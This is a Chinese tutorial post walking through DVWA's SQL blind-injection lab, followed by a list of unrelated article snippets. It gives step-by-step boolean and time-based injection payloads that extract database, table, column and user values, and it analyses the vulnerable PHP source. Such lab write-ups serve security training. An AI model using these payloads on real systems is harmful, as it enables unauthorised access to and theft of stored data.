7、DVWA——SQL盲注

news2024/9/28 7:24:10

文章目录

  • 一、概述
  • 二、low
    • 2.1 通关思路(布尔盲注)
      • (1)判断是否存在SQL注入漏洞
      • (2)判断属于数字型注入还是字符型注入
      • (3)判断结果集中的字段数
      • (4)猜数据库名长度
      • (5)猜数据库名
      • (6)猜表的个数
      • (7)猜第一个表名
      • (8)猜user表中的字段个数、每个字段的长度、名称
      • (9)猜字段内容
    • 2.2 通关思路(时间盲注)
      • (1)判断是否存在SQL注入漏洞,属于字符型还是数字型
      • (2)猜测当前数据库名长度、首字母
    • 2.3 源码分析
  • 三、medium
  • 四、high

一、概述

  盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

普通注入与盲注的区别:

  普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。

SQL盲注分类:

  • 布尔盲注
  • 事件盲注
  • 报错盲注

二、low

2.1 通关思路(布尔盲注)

(1)判断是否存在SQL注入漏洞

在参数后面添加',来判断是否存在sql注入漏洞。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  • 引号被拼接到SQL语句中,由此可见,存在SQL注入漏洞。
  • 同时,此处只是返回ID值在不在数据库中,页面可由此分为True和False,因此,该SQL注入属于布尔盲注。

(2)判断属于数字型注入还是字符型注入

在这里插入图片描述

1+and+1=1+--+

注意:payload需要URL编码。

在这里插入图片描述

1+and+1=2+--+

在这里插入图片描述

两次页面返回一致,属于字符型注入。下一步判断闭合符号~

1'+and+1=1+--+

在这里插入图片描述

1'+and+1=2+--+

在这里插入图片描述

两次页面返回不一致,故该SQL注入漏洞属于字符型注入,且单引号闭合。

(3)判断结果集中的字段数

注意:order by是对查询结果中的某个字段进行排序,并不能说明表中含有几个字段。

1'+order+by+<数字>+--+

在这里插入图片描述
在这里插入图片描述

可知,该页面(表)存在两个字段。

(4)猜数据库名长度

因为盲注没有回显点,故不能使用union进行联合查询。使用length()函数来判断数据库名的长度。

1'+and+length(database())=1+--+

使用sniper进行爆破
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

由此,可知数据库名长度为4。

(5)猜数据库名

1'+and+ascii((substr(database(),<变量1>,1)))=<变量2>+--+ 

注:

  • substr(string, start, length):提取字串。start从1开始。
  • 大写英文的ASCII值范围:65-90
  • 小写英文的ASCII值范围:97-122
  • 变量1的范围在0-3

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以得知,数据库名第一个字母为d。
依次,可以得到整个数据名为dvwa。

(6)猜表的个数

1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema=database())=1+--+

同理,爆表个数
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

由此可见,数据库中存在两个表。

(7)猜第一个表名

1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0,1))=103+--+

注:limit 0,1 代表第一行数据;选第二行数据应该是limit 1,1
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 第一个表名的第一个字母为g;
  • 同理,可以爆破出第一个表名为guestbook,第二个表名为users

(8)猜user表中的字段个数、每个字段的长度、名称

1)该表中的字段个数

1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users')=8+--+

在这里插入图片描述

这里就不进行爆破了,最终可以得到:users表中含有8个字段。

2)猜第一个字段的长度

1'+and+length((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1))=7+--+

注:

  • 猜第二个字段的长度就将limit 0,1改为limit 1,1,依此类推。

在这里插入图片描述

可知,第一个字段长度为7。

3)猜第一个字段的第一个字母

1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))=117+--+

注:第一个字段的第二个字母就将limit+0,1),1,1改为limit+0,1),2,1

在这里插入图片描述

  • 按照上述思路,对user表中的每个字段进行爆破,最终可以得到每个字段名。
  • 可以知道users表中含有user和password两个字段。

(9)猜字段内容

1)以猜user字段的第一个字段值为例:

1'+and+length((select+user+from+dvwa.users+limit+0,1))=5+--+

在这里插入图片描述

可以得知,第一个字段值长度为5。

2)猜第一个字段值的首字母

1'+and+ascii(substr((select+user+from+dvwa.users+limit+0,1),1,1))=97+--+

在这里插入图片描述

可以得到第一个字母为a。用同样的方法得到整个字段值。

2.2 通关思路(时间盲注)

(1)判断是否存在SQL注入漏洞,属于字符型还是数字型

1+and+sleep(5)+--+ //数字型则等待5秒;
1'+and+sleep(5)+--+ //字符型则等待5秒;

在这里插入图片描述
在这里插入图片描述

故,此处存在SQL注入漏洞,且属于字符型注入,单引号闭合。

(2)猜测当前数据库名长度、首字母

1)猜测数据库名长度

需要用到的函数if(a,b,c):a是条件,满足返回b,不满足返回c

1'+and+if(length(database())=4,sleep(5),1)+--+

在这里插入图片描述

延迟5秒,说明数据库名的长度为4。

2)猜测数据库名的首字母

1'+and+if(ascii((substr(database(),1,1)))=100,sleep(5),1)+--+ 

在这里插入图片描述

  • 延迟5秒,说明首字母的ascii值为100;
  • 注意此时页面会报错嗷~
  • 后续步骤同布尔盲注,无非是加了一个if函数。

2.3 源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

分析:
  源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。

三、medium


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

分析:源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00\n\r\'"\x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。

需要注意的是,加单引号,页面返回报错,可能会误判。例如,正常是查id等于1的用户,转义后就会去查id等于1\'的用户,显然数据库没有。故,注意可能会误判。

在这里插入图片描述

四、high

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

分析:High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id,当 SQL 查询结果为空时会执行函数 sleep(),这是为了混淆基于时间的盲注的响应时间判断。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1026087.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

常见的排序算法及时间空间复杂度

排序算法是计算机科学中的基本算法之一&#xff0c;它用于将一组数据按照某种顺序进行排列。下面是一些常见的排序算法&#xff0c;以及它们的思想和时间空间复杂度&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢…

c++qt day11

通过代码实现电子钟表 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include<QPaintEvent> #include<QDebug> #include<QPainter> #include<QFont> #include<QTime> #include<QTimer>QT_BEGIN_NAMESPACE namespa…

pytorch的卷积层池化层和非线性变化 和机器学习线性回归

卷积层&#xff1a; 两个输出的情况 就会有两个通道 可以改变通道数的 最简单的神经网络结构&#xff1a; nn.Mudule就是继承父类 super执行的是 先执行父类函数里面的 forward执行的就是前向网络&#xff0c;就是往前推进的&#xff0c;当然也有反向转播&#xff0c;那就是…

基于Java的电影院管理系统设计与实现

前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌&#x1f497; &#x1f447;&#x1f3fb;…

百度收录和权重怎么提升-网站如何获得百度权重

你是否一直苦恼于网站权重的低迷&#xff1f;不知道如何开始提升网站权重&#xff0c;缺乏优质内容更新网站。不清楚如何进行关键词优化来提升网站排名和权重。SEO是一个需要持续投入时间和资源的过程。每个网站的情况都会有所不同&#xff0c;因此所花费的时间也会有所差异。然…

蓝桥杯 题库 简单 每日十题 day6

01 删除字符 题目描述 给定一个单词&#xff0c;请问在单词中删除t个字母后&#xff0c;能得到的字典序最小的单词是什么&#xff1f; 输入描述 输入的第一行包含一个单词&#xff0c;由大写英文字母组成。 第二行包含一个正整数t。 其中&#xff0c;单词长度不超过100&#x…

网络编程day03(UDP中的connect函数、tftp)

今日任务&#xff1a;tftp的文件上传下载&#xff08;服务端已经准备好&#xff09; 服务端&#xff08;已上传&#xff09; 客户端&#xff1a; 代码&#xff1a; #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h…

全球南方《乡村振兴战略下传统村落文化旅游设计》许少辉八一新枝——2023学生开学季辉少许

全球南方《乡村振兴战略下传统村落文化旅游设计》许少辉八一新枝——2023学生开学季辉少许

QT实现简易时钟

头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPaintEvent> #include <QDebug> #include <QPainter> #include <QTimerEvent> #include <QTimer> #include <QTime>QT_BEGIN_NAMESPACE namespace Ui { cl…

51单片机项目(13)——基于51单片机的智能台灯protues仿真

本次设计&#xff0c;使用protues软件进行仿真&#xff0c;详情如下&#xff1a; 1.输入部分:由热释电红外传感器、光敏传感器、超声波测距传感器所构成的子电路组成。 2.输出模块:由1602液晶显示及其蜂鸣器报警系统组成。 3.中央处理器:主要有AT89C52单片机构成。 4.工作过…

C++ PrimerPlus 复习 第八章 函数探幽

第一章 命令编译链接文件 make文件 第二章 进入c 第三章 处理数据 第四章 复合类型 &#xff08;上&#xff09; 第四章 复合类型 &#xff08;下&#xff09; 第五章 循环和关系表达式 第六章 分支语句和逻辑运算符 第七章 函数——C的编程模块&#xff08;上&#xff…

一、Stable Diffusion WebUI 安装

Mac 配置 类别配置机型Macbook pro m2核总数12 核中央处理器、38 核图形处理器和 16 核神经网络引擎内存64 G系统Sonoma 安装 Homebrew 打开终端执行&#xff08;使用了国内镜像源安装&#xff09; /bin/bash -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/r…

深入理解HttpSecurity的设计

文章目录 HttpSecurity的应用HttpSecurity的类图结构SecurityBuilder接口AbstractConfiguredSecurityBuilderadd方法doBuild方法 HttpSecurity HttpSecurity的应用 在上文介绍了基于配置文件的使用方式以及实现细节&#xff0c;如下&#xff1a; 也就是在配置文件中通过 secur…

javascript使用正则表达式去除字符串中括号的方法

如下面的例子&#xff1a; (fb6d4f10-79ed-4aff-a915-4ce29dc9c7e1,39996f34-013c-4fc6-b1b3-0c1036c47119,39996f34-013c-4fc6-b1b3-0c1036c47169,39996f34-013c-4fc6-b1b3-0c1036c47111,2430bf64-fd56-460c-8b75-da0a1d1cd74c,39996f34-013c-4fc6-b1b3-0c1036c47112) 上面是前…

华为HCIA(六)

LACPDU中携带接口优先级&#xff0c;系统MAC地址&#xff0c;设备优先级 Mac-vlan命令是配置基于MAC地址的VLAN 二层ACL匹配源目MAC二层协议类型等 HTTP为超文本传输协议&#xff0c;用于网页访问 二层组网指的是AC与AP同在一个网段内 IPV6全球单播地址 华为OSPF内部路由…

Cesium 地球(2)-瓦片创建

Cesium 地球(2)-瓦片创建 QuadtreePrimitive代码执行4个步骤: step1: update()step2: beginFrame()step3: render()step4: endFrame() 但并不是瓦片的创建步骤。 1、创建 QuadtreeTile 基于 step3: render() step3: render()┖ selectTilesForRendering()在 selectTilesFo…

CentOS 7 制作openssl 1.1.1w 版本rpm包 —— 筑梦之路

源码下载地址&#xff1a; https://www.openssl.org/source/openssl-1.1.1w.tar.gz 参考之前的文章&#xff1a; openssl 1.1.1L /1.1.1o/1.1.1t rpm包制作——筑梦之路_openssl的rpm包_筑梦之路的博客-CSDN博客 直接上spec文件&#xff1a; Name: openssl Version: 1.1…

《IP编址与路由:网络层的关键技术》

前言&#xff1a; 在TCP/IP协议栈中&#xff0c;网络层位于第三层&#xff0c;起到了承上启下的关键作用。它不仅负责处理来自数据链路层和传输层的请求&#xff0c;还需确保数据包的正确转发。本文将深入探讨IP编址与路由的相关知识&#xff0c;帮助您更好地理解网络层的重要性…

视觉Transformer在低级视觉领域的研究综述

视觉Transfomer的基本原理 在图像处理过程中&#xff0c;ViT首先将输入的图片分成块&#xff0c;对其进行线性的编码映射后排列成一堆的向量作为编码器的输入&#xff0c;在分类任务中会在这个一维向量加入了一个可学习的嵌入向量用作分类的类别预测结果表示&#xff0c;最后通…

Java:JSR 310日期时间体系LocalDateTime、OffsetDateTime、ZonedDateTime

JSR 310日期时间体系&#xff1a; LocalDateTime&#xff1a;本地日期时间OffsetDateTime&#xff1a;带偏移量的日期时间ZonedDateTime&#xff1a;带时区的日期时间 目录 构造计算格式化参考文章 日期时间包 import java.time.LocalDateTime; import java.time.OffsetDateT…